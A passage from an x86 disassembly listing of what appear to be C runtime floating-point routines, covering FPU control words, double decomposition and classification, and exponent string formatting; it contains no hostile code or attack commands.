[ebp+var_10+4] shr ecx, 1 mov dword ptr [ebp+var_10+4], ecx jmp short loc_422DC0 ; --------------------------------------------------------------------------- loc_422E10: ; CODE XREF: sub_422B10+2C0j cmp [ebp+var_1C], 0 jz short loc_422E1E fld [ebp+var_10] fchs fstp [ebp+var_10] loc_422E1E: ; CODE XREF: sub_422B10+26Cj ; sub_422B10+304j mov edx, [ebp+arg_4] mov eax, dword ptr [ebp+var_10] mov [edx], eax mov ecx, dword ptr [ebp+var_10+4] mov [edx+4], ecx jmp short loc_422E35 ; --------------------------------------------------------------------------- loc_422E2E: ; CODE XREF: sub_422B10+225j mov [ebp+var_8], 1 loc_422E35: ; CODE XREF: sub_422B10+31Cj cmp [ebp+var_8], 0 jz short loc_422E45 push 10h call sub_423360 add esp, 4 loc_422E45: ; CODE XREF: sub_422B10+329j mov edx, [ebp+var_4] and edx, 0FFFFFFFDh mov [ebp+var_4], edx loc_422E4E: ; CODE XREF: sub_422B10+35j ; sub_422B10+60j ... mov eax, [ebp+arg_0] and eax, 10h test eax, eax jz short loc_422E75 mov ecx, [ebp+arg_8] and ecx, 20h test ecx, ecx jz short loc_422E75 push 20h call sub_423360 add esp, 4 mov edx, [ebp+var_4] and edx, 0FFFFFFEFh mov [ebp+var_4], edx loc_422E75: ; CODE XREF: sub_422B10+346j ; sub_422B10+350j xor eax, eax cmp [ebp+var_4], 0 setz al mov esp, ebp pop ebp retn sub_422B10 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_422E90(int,int,int,int,int,int,double,int) sub_422E90 proc near ; CODE XREF: sub_4223E0+2Ap ; ___:0042247Ap ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = qword ptr -8 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = qword ptr 20h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_4] push eax call sub_422F70 add esp, 4 mov [ebp+var_1C], eax cmp [ebp+var_1C], 0 jz short loc_422F07 mov ecx, [ebp+arg_0] mov [ebp+var_20], ecx mov edx, [ebp+arg_8] mov [ebp+var_18], edx mov eax, [ebp+arg_C] mov [ebp+var_14], eax mov ecx, [ebp+arg_10] mov [ebp+var_10], ecx mov edx, [ebp+arg_14] mov [ebp+var_C], edx mov eax, dword ptr [ebp+arg_18] mov dword ptr [ebp+var_8], eax mov ecx, dword ptr [ebp+arg_18+4] mov dword ptr [ebp+var_8+4], ecx push 0FFFFh mov edx, [ebp+arg_20] push edx call sub_423320 add esp, 8 lea eax, [ebp+var_20] push eax call sub_4297F0 add esp, 4 test eax, eax jnz short loc_422F02 mov ecx, [ebp+arg_0] push ecx call sub_422F30 add esp, 4 loc_422F02: ; CODE XREF: sub_422E90+64j fld [ebp+var_8] jmp short loc_422F27 ; --------------------------------------------------------------------------- loc_422F07: ; CODE XREF: sub_422E90+19j push 0FFFFh mov edx, [ebp+arg_20] push edx call sub_423320 add esp, 8 mov eax, [ebp+arg_0] push eax call sub_422F30 add esp, 4 fld [ebp+arg_18] loc_422F27: ; CODE XREF: sub_422E90+75j mov esp, ebp pop ebp retn sub_422E90 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422F30 proc near ; CODE XREF: sub_4224B0+92p ; ___:0042261Ep ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] mov [ebp+var_4], eax cmp [ebp+var_4], 1 jz short loc_422F4E cmp [ebp+var_4], 1 jle short loc_422F66 cmp [ebp+var_4], 3 jle short loc_422F5B jmp short loc_422F66 ; --------------------------------------------------------------------------- loc_422F4E: ; CODE XREF: sub_422F30+Ej call sub_420520 mov dword ptr [eax], 21h jmp short loc_422F66 ; --------------------------------------------------------------------------- loc_422F5B: ; CODE XREF: sub_422F30+1Aj call sub_420520 mov dword ptr [eax], 22h loc_422F66: ; CODE XREF: sub_422F30+14j ; sub_422F30+1Cj ... mov esp, ebp pop ebp retn sub_422F30 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422F70 proc near ; CODE XREF: sub_422E90+Ap var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov [ebp+var_4], 0 jmp short loc_422F86 ; --------------------------------------------------------------------------- loc_422F7D: ; CODE XREF: sub_422F70:loc_422FA7j mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_422F86: ; CODE XREF: sub_422F70+Bj cmp [ebp+var_4], 1Bh jge short loc_422FA9 mov ecx, [ebp+var_4] mov edx, dword_444130[ecx*8] cmp edx, [ebp+arg_0] jnz short loc_422FA7 mov eax, [ebp+var_4] mov eax, off_444134[eax*8] jmp short loc_422FAB ; --------------------------------------------------------------------------- loc_422FA7: ; CODE XREF: sub_422F70+29j jmp short loc_422F7D ; --------------------------------------------------------------------------- loc_422FA9: ; CODE XREF: sub_422F70+1Aj xor eax, eax loc_422FAB: ; CODE XREF: sub_422F70+35j mov esp, ebp pop ebp retn sub_422F70 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_422FB0 proc near ; CODE XREF: sub_4224B0+4Ap ; ___:004225D2p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] and eax, 20h test eax, eax jz short loc_422FC7 mov [ebp+var_4], 5 jmp short loc_42301A ; --------------------------------------------------------------------------- loc_422FC7: ; CODE XREF: sub_422FB0+Cj mov ecx, [ebp+arg_0] and ecx, 8 test ecx, ecx jz short loc_422FDA mov [ebp+var_4], 1 jmp short loc_42301A ; --------------------------------------------------------------------------- loc_422FDA: ; CODE XREF: sub_422FB0+1Fj mov edx, [ebp+arg_0] and edx, 4 test edx, edx jz short loc_422FED mov [ebp+var_4], 2 jmp short loc_42301A ; --------------------------------------------------------------------------- loc_422FED: ; CODE XREF: sub_422FB0+32j mov eax, [ebp+arg_0] and eax, 1 test eax, eax jz short loc_423000 mov [ebp+var_4], 3 jmp short loc_42301A ; --------------------------------------------------------------------------- loc_423000: ; CODE XREF: sub_422FB0+45j mov ecx, [ebp+arg_0] and ecx, 2 test ecx, ecx jz short loc_423013 mov [ebp+var_4], 4 jmp short loc_42301A ; --------------------------------------------------------------------------- loc_423013: ; CODE XREF: sub_422FB0+58j mov [ebp+var_4], 0 loc_42301A: ; CODE XREF: sub_422FB0+15j ; sub_422FB0+28j ... mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_422FB0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423030 proc near ; CODE XREF: ___:004230C9p ; sub_4231A0+ECp ... var_C = qword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] mov dword ptr [ebp+var_C], eax mov ecx, [ebp+arg_4] mov dword ptr [ebp+var_C+4], ecx mov edx, [ebp+arg_8] add edx, 3FEh mov [ebp+var_4], edx mov eax, [ebp+arg_4+2] and eax, 0FFFFh and eax, 800Fh mov ecx, [ebp+var_4] shl ecx, 4 or eax, ecx mov word ptr [ebp+var_C+6], ax fld [ebp+var_C] mov esp, ebp pop ebp retn sub_423030 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx mov eax, [ebp+0Eh] and eax, 0FFFFh and eax, 7FF0h sar eax, 4 mov [ebp-4], ax mov cx, [ebp-4] sub cx, 3FEh mov [ebp-4], cx movsx eax, word ptr [ebp-4] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp mov eax, [ebp+0Eh] and eax, 0FFFFh and eax, 7FF0h sar eax, 4 movsx ecx, ax mov edx, [ebp+10h] lea eax, [ecx+edx-3FEh] push eax mov ecx, [ebp+0Ch] push ecx mov edx, [ebp+8] push edx call sub_423030 add esp, 0Ch pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 8 mov eax, [ebp+8] mov [ebp-8], eax mov ecx, [ebp+0Ch] mov [ebp-4], ecx mov edx, [ebp+0Eh] and edx, 0FFFFh and edx, 800Fh mov eax, [ebp+10h] shl eax, 4 or edx, eax mov [ebp-2], dx fld qword ptr [ebp-8] mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423120 proc near ; CODE XREF: sub_418F70+3Fp ; sub_419190+3Fp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp cmp [ebp+arg_4], 7FF00000h jnz short loc_423139 cmp [ebp+arg_0], 0 jnz short loc_423139 mov eax, 1 jmp short loc_42319A ; --------------------------------------------------------------------------- loc_423139: ; CODE XREF: sub_423120+Aj ; sub_423120+10j cmp [ebp+arg_4], 0FFF00000h jnz short loc_42314F cmp [ebp+arg_0], 0 jnz short loc_42314F mov eax, 2 jmp short loc_42319A ; --------------------------------------------------------------------------- loc_42314F: ; CODE XREF: sub_423120+20j ; sub_423120+26j mov eax, [ebp+arg_4+2] and eax, 0FFFFh and eax, 7FF8h cmp eax, 7FF8h jnz short loc_42316A mov eax, 3 jmp short loc_42319A ; --------------------------------------------------------------------------- loc_42316A: ; CODE XREF: sub_423120+41j mov ecx, [ebp+arg_4+2] and ecx, 0FFFFh and ecx, 7FF8h cmp ecx, 7FF0h jnz short loc_423198 mov edx, [ebp+arg_4] shl edx, 0Dh test edx, edx jnz short loc_423191 cmp [ebp+arg_0], 0 jz short loc_423198 loc_423191: ; CODE XREF: sub_423120+69j mov eax, 4 jmp short loc_42319A ; --------------------------------------------------------------------------- loc_423198: ; CODE XREF: sub_423120+5Fj ; sub_423120+6Fj xor eax, eax loc_42319A: ; CODE XREF: sub_423120+17j ; sub_423120+2Dj ... pop ebp retn sub_423120 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_4231A0(double,int) sub_4231A0 proc near ; CODE XREF: sub_422B10+239p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = qword ptr -0Ch var_4 = dword ptr -4 arg_0 = qword ptr 8 arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 14h fld [ebp+arg_0] fcomp dbl_434140 fnstsw ax test ah, 40h jz short loc_4231D0 mov dword ptr [ebp+var_C], 0 mov dword ptr [ebp+var_C+4], 0 mov [ebp+var_4], 0 jmp loc_4232CA ; --------------------------------------------------------------------------- loc_4231D0: ; CODE XREF: sub_4231A0+14j mov eax, dword ptr [ebp+arg_0+6] and eax, 0FFFFh and eax, 7FF0h test eax, eax jnz loc_423299 mov ecx, dword ptr [ebp+arg_0+4] shl ecx, 0Ch test ecx, ecx jnz short loc_4231F9 cmp dword ptr [ebp+arg_0], 0 jz loc_423299 loc_4231F9: ; CODE XREF: sub_4231A0+4Dj mov [ebp+var_4], 0FFFFFC03h fld [ebp+arg_0] fcomp dbl_434140 fnstsw ax test ah, 1 jz short loc_423219 mov [ebp+var_14], 1 jmp short loc_423220 ; --------------------------------------------------------------------------- loc_423219: ; CODE XREF: sub_4231A0+6Ej mov [ebp+var_14], 0 loc_423220: ; CODE XREF: sub_4231A0+77j mov edx, [ebp+var_14] mov [ebp+var_10], edx loc_423226: ; CODE XREF: sub_4231A0+C3j mov eax, dword ptr [ebp+arg_0+6] and eax, 0FFFFh and eax, 10h test eax, eax jnz short loc_423265 mov ecx, dword ptr [ebp+arg_0+4] shl ecx, 1 mov dword ptr [ebp+arg_0+4], ecx mov edx, dword ptr [ebp+arg_0] and edx, 80000000h test edx, edx jz short loc_423252 mov eax, dword ptr [ebp+arg_0+4] or al, 1 mov dword ptr [ebp+arg_0+4], eax loc_423252: ; CODE XREF: sub_4231A0+A8j mov ecx, dword ptr [ebp+arg_0] shl ecx, 1 mov dword ptr [ebp+arg_0], ecx mov edx, [ebp+var_4] sub edx, 1 mov [ebp+var_4], edx jmp short loc_423226 ; --------------------------------------------------------------------------- loc_423265: ; CODE XREF: sub_4231A0+93j mov ax, word ptr [ebp+arg_0+6] and ax, 0FFEFh mov word ptr [ebp+arg_0+6], ax cmp [ebp+var_10], 0 jz short loc_423282 mov cx, word ptr [ebp+arg_0+6] or ch, 80h mov word ptr [ebp+arg_0+6], cx loc_423282: ; CODE XREF: sub_4231A0+D5j push 0 mov edx, dword ptr [ebp+arg_0+4] push edx mov eax, dword ptr [ebp+arg_0] push eax call sub_423030 add esp, 0Ch fstp [ebp+var_C] jmp short loc_4232CA ; --------------------------------------------------------------------------- loc_423299: ; CODE XREF: sub_4231A0+3Fj ; sub_4231A0+53j push 0 mov ecx, dword ptr [ebp+arg_0+4] push ecx mov edx, dword ptr [ebp+arg_0] push edx call sub_423030 add esp, 0Ch fstp [ebp+var_C] mov eax, dword ptr [ebp+arg_0+6] and eax, 0FFFFh and eax, 7FF0h sar eax, 4 movsx ecx, ax sub ecx, 3FEh mov [ebp+var_4], ecx loc_4232CA: ; CODE XREF: sub_4231A0+2Bj ; sub_4231A0+F7j mov edx, [ebp+arg_8] mov eax, [ebp+var_4] mov [edx], eax fld [ebp+var_C] mov esp, ebp pop ebp retn sub_4231A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4232E0 proc near ; CODE XREF: sub_422640+171p var_4 = word ptr -4 push ebp mov ebp, esp push ecx push ebx push esi push edi fstsw [ebp+var_4] movsx eax, [ebp+var_4] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_4232E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423300 proc near ; CODE XREF: sub_422640+349p var_4 = word ptr -4 push ebp mov ebp, esp push ecx push ebx push esi push edi fnstsw [ebp+var_4] fnclex movsx eax, [ebp+var_4] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_423300 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423320 proc near ; CODE XREF: sub_418F70+11p ; sub_418F70+67p ... var_8 = word ptr -8 var_4 = word ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 8 push ebx push esi push edi fstcw [ebp+var_8] mov eax, [ebp+arg_0] and eax, [ebp+arg_4] movsx ecx, [ebp+var_8] mov edx, [ebp+arg_4] not edx and ecx, edx or eax, ecx mov [ebp+var_4], ax fldcw [ebp+var_4] movsx eax, [ebp+var_8] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_423320 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423360 proc near ; CODE XREF: sub_422B10+25p ; sub_422B10+50p ... var_C = dword ptr -0Ch var_8 = qword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch push ebx push esi push edi mov eax, [ebp+arg_0] and eax, 1 test eax, eax jz short loc_42337D fld tbyte_444230 fistp [ebp+var_C] wait loc_42337D: ; CODE XREF: sub_423360+11j mov ecx, [ebp+arg_0] and ecx, 8 test ecx, ecx jz short loc_423397 fstsw ax fld tbyte_444230 fstp [ebp+var_8] wait fstsw ax loc_423397: ; CODE XREF: sub_423360+25j mov edx, [ebp+arg_0] and edx, 10h test edx, edx jz short loc_4233AB fld tbyte_44423C fstp [ebp+var_8] wait loc_4233AB: ; CODE XREF: sub_423360+3Fj mov eax, [ebp+arg_0] and eax, 4 test eax, eax jz short loc_4233BE fldz fld1 fdivrp st(1), st fstp st wait loc_4233BE: ; CODE XREF: sub_423360+53j mov ecx, [ebp+arg_0] and ecx, 20h test ecx, ecx jz short loc_4233CE fldpi fstp [ebp+var_8] wait loc_4233CE: ; CODE XREF: sub_423360+66j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_423360 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4233E0 proc near ; CODE XREF: sub_4190B0+15p ; ___:004298C5p push ebp mov ebp, esp push 30000h push 10000h call sub_429890 add esp, 8 pop ebp retn sub_4233E0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423400 proc near ; CODE XREF: sub_423460:loc_423499p var_1C = dword ptr -1Ch var_18 = qword ptr -18h var_10 = qword ptr -10h var_8 = qword ptr -8 push ebp mov ebp, esp sub esp, 1Ch push ebx push esi push edi mov dword ptr [ebp+var_18], 80000000h mov dword ptr [ebp+var_18+4], 4147FFFFh mov dword ptr [ebp+var_8], 0C0000000h mov dword ptr [ebp+var_8+4], 4150017Eh fld [ebp+var_8] fdiv [ebp+var_18] fmul [ebp+var_18] fsubr [ebp+var_8] fstp [ebp+var_10] fld [ebp+var_10] fcomp dbl_433CA0 fnstsw ax test ah, 41h jnz short loc_42344D mov [ebp+var_1C], 1 jmp short loc_423454 ; --------------------------------------------------------------------------- loc_42344D: ; CODE XREF: sub_423400+42j mov [ebp+var_1C], 0 loc_423454: ; CODE XREF: sub_423400+4Bj mov eax, [ebp+var_1C] pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_423400 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423460 proc near ; CODE XREF: sub_4190B0+Bp var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 8 push offset aKernel32 ; "KERNEL32" nop call near ptr 26A0797h mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_423499 push offset aIsprocessorfea ; "IsProcessorFeaturePresent" mov eax, [ebp+var_4] push eax nop call near ptr 26A0000h mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz short loc_423499 push 0 call [ebp+var_8] jmp short loc_42349E ; --------------------------------------------------------------------------- loc_423499: ; CODE XREF: sub_423460+18j ; sub_423460+30j call sub_423400 loc_42349E: ; CODE XREF: sub_423460+37j mov esp, ebp pop ebp retn sub_423460 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4234B0 proc near ; CODE XREF: sub_41E9B0+6CFp ; DATA XREF: sub_4190F0+21o ... var_C = dword ptr -0Ch var_8 = byte ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] push ecx call sub_41A630 add esp, 4 cmp eax, 65h jz short loc_423510 loc_4234CA: ; CODE XREF: sub_4234B0+5Ej mov edx, [ebp+arg_0] add edx, 1 mov [ebp+arg_0], edx cmp dword_443B70, 1 jle short loc_4234F2 push 4 mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] push ecx call sub_41DA90 add esp, 8 mov [ebp+var_C], eax jmp short loc_42350A ; --------------------------------------------------------------------------- loc_4234F2: ; CODE XREF: sub_4234B0+2Aj mov edx, [ebp+arg_0] movsx eax, byte ptr [edx] mov ecx, off_443C7C xor edx, edx mov dx, [ecx+eax*2] and edx, 4 mov [ebp+var_C], edx loc_42350A: ; CODE XREF: sub_4234B0+40j cmp [ebp+var_C], 0 jnz short loc_4234CA loc_423510: ; CODE XREF: sub_4234B0+18j mov eax, [ebp+arg_0] mov cl, [eax] mov [ebp+var_8], cl mov edx, [ebp+arg_0] mov al, byte_443B74 mov [edx], al mov ecx, [ebp+arg_0] add ecx, 1 mov [ebp+arg_0], ecx loc_42352B: ; CODE XREF: sub_4234B0+A2j mov edx, [ebp+arg_0] mov al, [edx] mov [ebp+var_4], al mov ecx, [ebp+arg_0] mov dl, [ebp+var_8] mov [ecx], dl mov al, [ebp+var_4] mov [ebp+var_8], al mov ecx, [ebp+arg_0] movsx edx, byte ptr [ecx] mov eax, [ebp+arg_0] add eax, 1 mov [ebp+arg_0], eax test edx, edx jnz short loc_42352B mov esp, ebp pop ebp retn sub_4234B0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423560 proc near ; CODE XREF: sub_41E9B0+6F1p ; DATA XREF: sub_4190F0+Do ... var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx loc_423564: ; CODE XREF: sub_423560+28j mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] test ecx, ecx jz short loc_42358A mov edx, [ebp+arg_0] movsx eax, byte ptr [edx] movsx ecx, byte_443B74 cmp eax, ecx jz short loc_42358A mov edx, [ebp+arg_0] add edx, 1 mov [ebp+arg_0], edx jmp short loc_423564 ; --------------------------------------------------------------------------- loc_42358A: ; CODE XREF: sub_423560+Cj ; sub_423560+1Dj mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] mov edx, [ebp+arg_0] add edx, 1 mov [ebp+arg_0], edx test ecx, ecx jz loc_423633 loc_4235A1: ; CODE XREF: sub_423560+6Aj mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] test ecx, ecx jz short loc_4235CC mov edx, [ebp+arg_0] movsx eax, byte ptr [edx] cmp eax, 65h jz short loc_4235CC mov ecx, [ebp+arg_0] movsx edx, byte ptr [ecx] cmp edx, 45h jz short loc_4235CC mov eax, [ebp+arg_0] add eax, 1 mov [ebp+arg_0], eax jmp short loc_4235A1 ; --------------------------------------------------------------------------- loc_4235CC: ; CODE XREF: sub_423560+49j ; sub_423560+54j ... mov ecx, [ebp+arg_0] mov [ebp+var_4], ecx mov edx, [ebp+arg_0] sub edx, 1 mov [ebp+arg_0], edx loc_4235DB: ; CODE XREF: sub_423560+8Fj mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] cmp ecx, 30h jnz short loc_4235F1 mov edx, [ebp+arg_0] sub edx, 1 mov [ebp+arg_0], edx jmp short loc_4235DB ; --------------------------------------------------------------------------- loc_4235F1: ; CODE XREF: sub_423560+84j mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] movsx edx, byte_443B74 cmp ecx, edx jnz short loc_42360B mov eax, [ebp+arg_0] sub eax, 1 mov [ebp+arg_0], eax loc_42360B: ; CODE XREF: sub_423560+A0j ; sub_423560+D1j mov ecx, [ebp+arg_0] add ecx, 1 mov [ebp+arg_0], ecx mov edx, [ebp+arg_0] mov eax, [ebp+var_4] mov cl, [eax] mov [edx], cl mov edx, [ebp+arg_0] movsx eax, byte ptr [edx] mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx test eax, eax jz short loc_423633 jmp short loc_42360B ; --------------------------------------------------------------------------- loc_423633: ; CODE XREF: sub_423560+3Bj ; sub_423560+CFj mov esp, ebp pop ebp retn sub_423560 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423640 proc near ; DATA XREF: sub_4190F0+2Bo ; ___:off_444258o var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] fld qword ptr [eax] fcomp dbl_434140 fnstsw ax test ah, 1 jnz short loc_42365F mov [ebp+var_4], 1 jmp short loc_423666 ; --------------------------------------------------------------------------- loc_42365F: ; CODE XREF: sub_423640+14j mov [ebp+var_4], 0 loc_423666: ; CODE XREF: sub_423640+1Dj mov eax, [ebp+var_4] mov esp, ebp pop ebp retn sub_423640 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423670 proc near ; CODE XREF: sub_420920+1138p ; DATA XREF: sub_4190F0+17o ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch cmp [ebp+arg_0], 0 jz short loc_42369C mov eax, [ebp+arg_8] push eax lea ecx, [ebp+var_8] push ecx call sub_42A3C0 add esp, 8 mov edx, [ebp+arg_4] mov eax, [ebp+var_8] mov [edx], eax mov ecx, [ebp+var_4] mov [edx+4], ecx jmp short loc_4236B4 ; --------------------------------------------------------------------------- loc_42369C: ; CODE XREF: sub_423670+Aj mov edx, [ebp+arg_8] push edx lea eax, [ebp+var_C] push eax call sub_42A440 add esp, 8 mov ecx, [ebp+arg_4] mov edx, [ebp+var_C] mov [ecx], edx loc_4236B4: ; CODE XREF: sub_423670+2Aj mov esp, ebp pop ebp retn sub_423670 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4236C0 proc near ; CODE XREF: sub_423B50+1Fp var_2C = byte ptr -2Ch var_14 = byte ptr -14h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 2Ch lea eax, [ebp+var_14] mov [ebp+var_4], eax lea ecx, [ebp+var_2C] push ecx lea edx, [ebp+var_14] push edx mov eax, [ebp+arg_0] mov ecx, [eax+4] push ecx mov edx, [eax] push edx call sub_42A580 add esp, 10h mov eax, [ebp+var_4] push eax mov ecx, [ebp+arg_8] add ecx, 1 push ecx mov edx, [ebp+var_4] xor eax, eax cmp dword ptr [edx], 2Dh setz al mov ecx, [ebp+arg_4] add ecx, eax xor edx, edx cmp [ebp+arg_8], 0 setnle dl add ecx, edx push ecx call sub_42A480 add esp, 0Ch push 0 mov eax, [ebp+var_4] push eax mov ecx, [ebp+arg_C] push ecx mov edx, [ebp+arg_8] push edx mov eax, [ebp+arg_4] push eax call sub_423740 add esp, 14h mov eax, [ebp+arg_4] mov esp, ebp pop ebp retn sub_4236C0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_423740 proc near ; CODE XREF: sub_4236C0+67p ; sub_423A60+9Dp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = byte ptr 18h push ebp mov ebp, esp sub esp, 8 movsx eax, [ebp+arg_10] test eax, eax jz short loc_423777 mov ecx, [ebp+arg_C] xor edx, edx cmp dword ptr [ecx], 2Dh setz dl mov eax, [ebp+arg_0] add eax, edx mov [ebp+var_4], eax xor ecx, ecx cmp [ebp+arg_4], 0 setnle cl push ecx mov edx, [ebp+var_4] push edx call sub_423BB0 add esp, 8 loc_423777: ; CODE XREF: sub_423740+Cj mov eax, [ebp+arg_0] mov [ebp+var_4], eax mov ecx, [ebp+arg_C] cmp dword ptr [ecx], 2Dh jnz short loc_423794 mov edx, [ebp+var_4] mov byte ptr [edx], 2Dh mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_423794: ; CODE XREF: sub_423740+43j cmp [ebp+arg_4], 0 jle short loc_4237B8 mov ecx, [ebp+var_4] mov edx, [ebp+var_4] mov al, [edx+1] mov [ecx], al mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx mov edx, [ebp+var_4] mov al, byte_443B74 mov [edx], al loc_4237B8: ; CODE XREF: sub_423740+58j push offset aE000 ; "e+000" mov ecx, [ebp+var_4] add ecx, [ebp+arg_4] movsx edx, [ebp+arg_10] neg edx sbb edx, edx inc edx add ecx, edx push ecx call sub_4184C0 add esp, 8 mov [ebp+var_4], eax cmp [ebp+arg_8], 0 jz short loc_4237E6 mov eax, [ebp+var_4] mov byte ptr [eax], 45h loc_4237E6: ; CODE XREF: sub_423740+9Ej mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx mov edx, [ebp+arg_C] mov eax, [edx+0Ch] movsx ecx, byte ptr [eax] cmp ecx, 30h jz loc_42389F mov edx, [ebp+arg_C] mov eax, [edx+4] sub eax, 1 mov [ebp+var_8], eax cmp [ebp+var_8], 0 jge short loc_423821 mov ecx, [ebp+var_8] neg ecx mov [ebp+var_8], ecx mov edx, [ebp+var_4] mov byte ptr [edx], 2Dh loc_423821: ; CODE XREF: sub_423740+D1j mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax cmp [ebp+var_8], 64h jl short loc_423855 mov eax, [ebp+var_8] cdq mov ecx, 64h idiv ecx mov edx, [ebp+var_4] mov cl, [edx] add cl, al mov edx, [ebp+var_4] mov [edx], cl mov eax, [ebp+var_8] cdq mov ecx, 64h idiv ecx mov [ebp+var_8], edx loc_423855: ; CODE XREF: sub_423740+EEj mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx cmp [ebp+var_8], 0Ah jl short loc_423889 mov eax, [ebp+var_8] cdq mov ecx, 0Ah idiv ecx mov edx, [ebp+var_4] mov cl, [edx] add cl, al mov edx, [ebp+var_4] mov [edx], cl mov eax, [ebp+var_8] cdq mov ecx, 0Ah idiv ecx mov [ebp+var_8], edx loc_423889: ; CODE XREF: sub_423740+122j mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx mov eax, [ebp+var_4] mov cl, [eax] add cl, byte ptr [ebp+var_8] mov edx, [ebp+var_4] mov [edx], cl loc_42389F: ; CODE XREF: sub_423740+BBj mov eax, [ebp+arg_0] mov esp, ebp pop ebp retn sub_423740 endp ; --------------------------------------------------------------------------- 